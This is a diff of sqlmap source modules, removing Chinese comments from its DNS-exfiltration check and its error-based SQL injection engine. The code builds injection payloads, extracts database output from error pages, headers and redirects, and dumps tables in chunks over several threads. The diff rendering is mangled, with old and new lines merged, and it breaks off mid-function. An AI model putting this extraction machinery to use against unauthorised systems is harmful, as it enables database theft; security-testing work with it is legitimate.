# 如果common-outputs中有一个单一输出,通过等于查询输出进行检查 # If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None: if commonValue is not None:
# 一次性查询包含等于commonValue # One-shot query containing equals commonValue
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
query = getTechniqueData().vector query = getTechniqueData().vector
@ -653,7 +616,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique()) incrementCounter(getTechnique())
# 是否成功? # Did we have luck?
if result: if result:
if showEta: if showEta:
progress.progress(len(commonValue)) progress.progress(len(commonValue))

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入Backend、randomInt、conf、kb、logger、FROM_DUMMY_TABLE、SqlmapNotVulnerableException、dnsUse模块
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
@ -15,31 +14,19 @@ from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapNotVulnerableException
from lib.techniques.dns.use import dnsUse from lib.techniques.dns.use import dnsUse
# 定义dnsTest函数用于测试通过DNS通道获取数据
# 打印日志表示正在测试通过DNS通道获取数据
# 打印信息表示正在测试通过DNS通道获取数据
def dnsTest(payload): def dnsTest(payload):
logger.info("testing for data retrieval through DNS channel") logger.info("testing for data retrieval through DNS channel")
# 生成一个随机整数
# 将kb.dnsTest设置为通过dnsUse函数获取的数据是否等于randInt
randInt = randomInt() randInt = randomInt()
kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)
# 如果kb.dnsTest为False表示通过DNS通道获取数据失败
# 构造错误信息
if not kb.dnsTest: if not kb.dnsTest:
# 如果没有强制使用DNS通道
errMsg = "data retrieval through DNS channel failed" errMsg = "data retrieval through DNS channel failed"
# 将conf.dnsDomain设置为None
if not conf.forceDns: if not conf.forceDns:
# 构造错误信息
conf.dnsDomain = None conf.dnsDomain = None
errMsg += ". Turning off DNS exfiltration support" errMsg += ". Turning off DNS exfiltration support"
logger.error(errMsg) logger.error(errMsg)
# 如果强制使用DNS通道
else: else:
# 抛出SqlmapNotVulnerableException异常
raise SqlmapNotVulnerableException(errMsg) raise SqlmapNotVulnerableException(errMsg)
else: else:
infoMsg = "data retrieval through DNS channel was successful" infoMsg = "data retrieval through DNS channel was successful"

@ -46,12 +46,9 @@ def dnsUse(payload, expression):
count = 0 count = 0
offset = 1 offset = 1
# 如果配置了dnsDomain并且数据库类型为MSSQL、ORACLE、MYSQL、PGSQL
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
# 使用hashDBRetrieve函数获取SQL查询的输出
output = hashDBRetrieve(expression, checkConf=True) output = hashDBRetrieve(expression, checkConf=True)
# 如果输出中包含PARTIAL_VALUE_MARKER或者kb.dnsTest为None则将输出置为None
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None output = None
@ -101,15 +98,10 @@ def dnsUse(payload, expression):
kb.dnsMode = False kb.dnsMode = False
# 如果output不为None
# 如果output不为None
if output is not None: if output is not None:
# 将output赋值给retVal
retVal = output retVal = output
# 如果kb.dnsTest不为None
if kb.dnsTest is not None: if kb.dnsTest is not None:
# 将output输出到标准输出
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
if count > 0: if count > 0:

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入需要的模块
from __future__ import print_function from __future__ import print_function
import re import re
@ -64,127 +63,98 @@ from lib.utils.safe2bin import safecharencode
from thirdparty import six from thirdparty import six
def _oneShotErrorUse(expression, field=None, chunkTest=False): def _oneShotErrorUse(expression, field=None, chunkTest=False):
""" offset = 1
执行单次基于错误的SQL注入查询 rotator = 0
partialValue = None
参数: threadData = getCurrentThreadData()
expression - 要执行的SQL表达式 retVal = hashDBRetrieve(expression, checkConf=True)
field - 要查询的字段名(可选)
chunkTest - 是否为分块测试模式(用于确定最佳查询长度)
返回:
查询结果
"""
# 初始化变量
offset = 1 # 结果偏移量,用于分块获取数据
rotator = 0 # 旋转字符索引,用于显示进度
partialValue = None # 存储部分查询结果
threadData = getCurrentThreadData() # 获取当前线程数据
retVal = hashDBRetrieve(expression, checkConf=True) # 尝试从缓存中获取结果
# 如果缓存的结果包含部分值标记,则提取部分值
if retVal and PARTIAL_VALUE_MARKER in retVal: if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
offset += len(partialValue) # 调整偏移量继续获取剩余数据 offset += len(partialValue)
# 标记是否从缓存恢复数据
threadData.resumed = retVal is not None and not partialValue threadData.resumed = retVal is not None and not partialValue
# 对特定数据库进行错误分块长度检测
# 这是为了找到最佳的查询长度,避免数据库截断结果
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..." debugMsg = "searching for error chunk length..."
logger.debug(debugMsg) logger.debug(debugMsg)
seen = set() # 记录已测试过的长度 seen = set()
current = MAX_ERROR_CHUNK_LENGTH # 从最大长度开始测试 current = MAX_ERROR_CHUNK_LENGTH
# 二分查找最佳长度
while current >= MIN_ERROR_CHUNK_LENGTH: while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10) # 测试字符 testChar = str(current % 10)
# 根据不同数据库构造测试查询
if Backend.isDbms(DBMS.ORACLE): if Backend.isDbms(DBMS.ORACLE):
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
else: else:
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
# 执行测试查询
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
seen.add(current) seen.add(current)
# 分析测试结果确定分块长度
if (result or "").startswith(testChar): if (result or "").startswith(testChar):
if result == testChar * current: if result == testChar * current:
kb.errorChunkLength = current # 找到合适的长度 kb.errorChunkLength = current
break break
else: else:
result = re.search(r"\A\w+", result).group(0) result = re.search(r"\A\w+", result).group(0)
candidate = len(result) - len(kb.chars.stop) candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current and candidate not in seen else current - 1 current = candidate if candidate != current and candidate not in seen else current - 1
else: else:
current = current // 2 # 二分缩小范围 current = current // 2
# 保存找到的分块长度
if kb.errorChunkLength: if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else: else:
kb.errorChunkLength = 0 kb.errorChunkLength = 0
# 如果没有缓存结果或者有部分值,执行实际查询
if retVal is None or partialValue: if retVal is None or partialValue:
try: try:
while True: while True:
# 定义用于提取结果的正则表达式 check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) # 完整结果匹配 trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start # 截断结果匹配
# 处理字段转换
if field: if field:
nulledCastedField = agent.nullAndCastField(field) # 转换字段格式 nulledCastedField = agent.nullAndCastField(field)
# 对特定数据库进行分块处理
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # 处理聚合函数,如MIN(surname) if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField) nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# 构造注入payload # Forge the error-based SQL injection request
vector = getTechniqueData().vector # 获取注入向量 vector = getTechniqueData().vector
query = agent.prefixQuery(vector) # 添加前缀 query = agent.prefixQuery(vector)
query = agent.suffixQuery(query) # 添加后缀 query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression # 替换字段 injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression) # 转义特殊字符 injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression) # 构造最终查询 injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression) # 生成payload payload = agent.payload(newValue=injExpression)
# 发送HTTP请求 # Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(getTechnique()) # 增加计数器 incrementCounter(getTechnique())
# 处理特殊字符转义
if page and conf.noEscape: if page and conf.noEscape:
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
# 从返回内容中提取结果 # Parse the returned page to get the exact error-based
# SQL injection output
output = firstNotNone( output = firstNotNone(
extractRegexResult(check, page), # 从页面内容提取 extractRegexResult(check, page),
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), # 从错误信息提取 extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), # 从响应头提取 extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) # 从重定向信息提取 extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
) )
# 处理输出结果
if output is not None: if output is not None:
output = getUnicode(output) # 转换为Unicode output = getUnicode(output)
else: else:
# 处理被截断的结果
trimmed = firstNotNone( trimmed = firstNotNone(
extractRegexResult(trimCheck, page), extractRegexResult(trimCheck, page),
extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
@ -193,14 +163,12 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
) )
if trimmed: if trimmed:
# 警告可能的结果截断
if not chunkTest: if not chunkTest:
warnMsg = "possible server trimmed output detected " warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): " warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed) warnMsg += safecharencode(trimmed)
logger.warning(warnMsg) logger.warning(warnMsg)
# 尝试提取部分结果
if not kb.testMode: if not kb.testMode:
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2] check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE) output = extractRegexResult(check, trimmed, re.IGNORECASE)
@ -211,105 +179,78 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
else: else:
output = output.rstrip() output = output.rstrip()
# 处理不同数据库的结果拼接
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)):
if offset == 1: if offset == 1:
retVal = output # 第一块直接赋值 retVal = output
else: else:
retVal += output if output else '' # 后续块拼接 retVal += output if output else ''
# 判断是否需要继续获取下一块
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength # 增加偏移量 offset += kb.errorChunkLength
else: else:
break # 获取完成 break
# 显示进度
if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)): if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)):
if kb.fileReadMode: # 文件读取模式 if kb.fileReadMode:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
elif offset > 1: # 显示旋转进度条 elif offset > 1:
rotator += 1 rotator += 1
if rotator >= len(ROTATING_CHARS): if rotator >= len(ROTATING_CHARS):
rotator = 0 rotator = 0
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
else: else:
retVal = output # 其他数据库直接返回结果 retVal = output
break break
except: except:
# 异常处理,保存部分结果
if retVal is not None: if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise raise
# 处理结果编码 retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal
retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal # 十六进制解码
if isinstance(retVal, six.string_types): if isinstance(retVal, six.string_types):
retVal = htmlUnescape(retVal).replace("<br>", "\n") # HTML解码 retVal = htmlUnescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal) # 替换特殊字符 retVal = _errorReplaceChars(retVal)
# 缓存结果
if retVal is not None: if retVal is not None:
hashDBWrite(expression, retVal) hashDBWrite(expression, retVal)
else: else:
# 从缓存结果中提取数据
_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal) or retVal retVal = extractRegexResult(_, retVal) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False): def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False):
""" values = []
获取错误注入查询的字段值 origExpr = None
参数:
expression - SQL表达式
expressionFields - 表达式中的字段
expressionFieldsList - 字段列表
num - 行号(可选)
emptyFields - 空字段列表(可选)
suppressOutput - 是否抑制输出
返回:
字段值列表
"""
values = [] # 存储所有字段的值
origExpr = None # 保存原始表达式
width = getConsoleWidth() # 获取控制台宽度 width = getConsoleWidth()
threadData = getCurrentThreadData() # 获取当前线程数据 threadData = getCurrentThreadData()
# 遍历所有字段
for field in expressionFieldsList: for field in expressionFieldsList:
output = None output = None
# 跳过ROWNUM字段
if field.startswith("ROWNUM "): if field.startswith("ROWNUM "):
continue continue
# 处理行号限制
if isinstance(num, int): if isinstance(num, int):
origExpr = expression origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
# 替换表达式中的字段
if "ROWNUM" in expressionFieldsList: if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression expressionReplaced = expression
else: else:
expressionReplaced = expression.replace(expressionFields, field, 1) expressionReplaced = expression.replace(expressionFields, field, 1)
# 执行查询获取字段值
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field) output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
# 检查线程是否需要继续
if not kb.threadContinue: if not kb.threadContinue:
return None return None
# 输出结果
if not any((suppressOutput, kb.bruteMode)): if not any((suppressOutput, kb.bruteMode)):
if kb.fileReadMode and output and output.strip(): if kb.fileReadMode and output and output.strip():
print() print()
@ -321,7 +262,6 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
dataToStdout("%s\n" % status) dataToStdout("%s\n" % status)
# 恢复原始表达式
if isinstance(num, int): if isinstance(num, int):
expression = origExpr expression = origExpr
@ -331,96 +271,72 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
def _errorReplaceChars(value): def _errorReplaceChars(value):
""" """
还原安全替换的字符 Restores safely replaced characters
参数:
value - 需要还原的字符串
返回:
还原后的字符串
""" """
retVal = value retVal = value
if value: if value:
# 替换特殊字符 retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
retVal = retVal.replace(kb.chars.space, " ") # 空格
retVal = retVal.replace(kb.chars.dollar, "$") # 美元符号
retVal = retVal.replace(kb.chars.at, "@") # @符号
retVal = retVal.replace(kb.chars.hash_, "#") # #符号
return retVal return retVal
def _formatPartialContent(value): def _formatPartialContent(value):
""" """
格式化部分内容用于安全的控制台输出 Prepares (possibly hex-encoded) partial content for safe console output
参数:
value - 需要格式化的值
返回:
格式化后的字符串
""" """
if value and isinstance(value, six.string_types): if value and isinstance(value, six.string_types):
try: try:
value = decodeHex(value, binary=False) # 尝试十六进制解码 value = decodeHex(value, binary=False)
except: except:
pass pass
finally: finally:
value = safecharencode(value) # 安全编码 value = safecharencode(value)
return value return value
def errorUse(expression, dump=False): def errorUse(expression, dump=False):
""" """
利用基于错误的SQL注入漏洞获取查询结果 Retrieve the output of a SQL query taking advantage of the error-based
这是主要的入口函数 SQL injection vulnerability on the affected parameter.
参数:
expression - SQL表达式
dump - 是否为转储模式
返回:
查询结果
""" """
# 初始化注入技术
initTechnique(getTechnique()) initTechnique(getTechnique())
# 初始化变量 abortedFlag = False
abortedFlag = False # 中断标记 count = None
count = None # 结果计数 emptyFields = []
emptyFields = [] # 空字段列表 start = time.time()
start = time.time() # 开始时间 startLimit = 0
startLimit = 0 # 起始限制 stopLimit = None
stopLimit = None # 结束限制 value = None
value = None # 结果值
# 获取表达式字段信息
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# 设置部分运行标记(API模式) # Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None kb.partRun = getPartRun(alias=False) if conf.api else None
# 检查SQL查询是否可能返回多条记录 # We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
# 添加限制条件
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond: if limitCond:
# 计算查询结果数量 # Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
# 移除ORDER BY子句(计数时不需要)
if " ORDER BY " in countedExpression.upper(): if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ") _ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_] countedExpression = countedExpression[:_]
# 获取计数结果
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields)) count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
# 处理结果数量
if isNumPosStrValue(count): if isNumPosStrValue(count):
# 限制最大结果数
if isinstance(stopLimit, int) and stopLimit > 0: if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit)) stopLimit = min(int(count), int(stopLimit))
else: else:
@ -431,7 +347,6 @@ def errorUse(expression, dump=False):
logger.debug(debugMsg) logger.debug(debugMsg)
elif count and not count.isdigit(): elif count and not count.isdigit():
# 无法计数时假设只有一条结果
warnMsg = "it was not possible to count the number " warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. " warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only " warnMsg += "sqlmap will assume that it returns only "
@ -441,18 +356,15 @@ def errorUse(expression, dump=False):
stopLimit = 1 stopLimit = 1
elif not isNumPosStrValue(count): elif not isNumPosStrValue(count):
# 处理空结果
if not count: if not count:
warnMsg = "the SQL query provided does not " warnMsg = "the SQL query provided does not "
warnMsg += "return any output" warnMsg += "return any output"
logger.warning(warnMsg) logger.warning(warnMsg)
else: else:
value = [] # 空表 value = [] # for empty tables
return value return value
# 多线程处理多条记录
if isNumPosStrValue(count) and int(count) > 1: if isNumPosStrValue(count) and int(count) > 1:
# 询问是否移除ORDER BY以提高速度
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove " message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] " message += "ORDER BY clause gaining speed over consistency? [y/N] "
@ -460,30 +372,26 @@ def errorUse(expression, dump=False):
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
expression = expression[:expression.index(" ORDER BY ")] expression = expression[:expression.index(" ORDER BY ")]
# 设置线程数
numThreads = min(conf.threads, (stopLimit - startLimit)) numThreads = min(conf.threads, (stopLimit - startLimit))
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
try: try:
# 创建结果范围迭代器
threadData.shared.limits = iter(xrange(startLimit, stopLimit)) threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError: except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'" errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
# 初始化共享数据 threadData.shared.value = BigArray()
threadData.shared.value = BigArray() # 存储结果 threadData.shared.buffered = []
threadData.shared.buffered = [] # 缓冲区 threadData.shared.counter = 0
threadData.shared.counter = 0 # 计数器 threadData.shared.lastFlushed = startLimit - 1
threadData.shared.lastFlushed = startLimit - 1 # 最后刷新位置 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 # 是否显示进度
if threadData.shared.showEta: if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
# 检查空列
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList: for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
@ -492,23 +400,17 @@ def errorUse(expression, dump=False):
debugMsg += "dumped as it appears to be empty" debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg) logger.debug(debugMsg)
# 对大量数据禁用恢复信息显示
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of " debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long" debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg) logger.debug(debugMsg)
# 执行多线程查询
try: try:
def errorThread(): def errorThread():
"""
错误注入查询线程函数
"""
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
while kb.threadContinue: while kb.threadContinue:
# 获取下一个查询范围
with kb.locks.limit: with kb.locks.limit:
try: try:
threadData.shared.counter += 1 threadData.shared.counter += 1
@ -516,63 +418,51 @@ def errorUse(expression, dump=False):
except StopIteration: except StopIteration:
break break
# 执行查询
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
if not kb.threadContinue: if not kb.threadContinue:
break break
# 处理单值结果
if output and isListLike(output) and len(output) == 1: if output and isListLike(output) and len(output) == 1:
output = unArrayizeValue(output) output = unArrayizeValue(output)
# 保存结果
with kb.locks.value: with kb.locks.value:
index = None index = None
if threadData.shared.showEta: if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter) threadData.shared.progress.progress(threadData.shared.counter)
# 按顺序插入结果
for index in xrange(1 + len(threadData.shared.buffered)): for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break break
threadData.shared.buffered.insert(index or 0, (num, output)) threadData.shared.buffered.insert(index or 0, (num, output))
# 刷新连续的结果
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1 threadData.shared.lastFlushed += 1
threadData.shared.value.append(threadData.shared.buffered[0][1]) threadData.shared.value.append(threadData.shared.buffered[0][1])
del threadData.shared.buffered[0] del threadData.shared.buffered[0]
# 运行多线程
runThreads(numThreads, errorThread) runThreads(numThreads, errorThread)
except KeyboardInterrupt: except KeyboardInterrupt:
# 处理用户中断
abortedFlag = True abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap " warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output" warnMsg += "will display partial output"
logger.warning(warnMsg) logger.warning(warnMsg)
finally: finally:
# 保存剩余结果
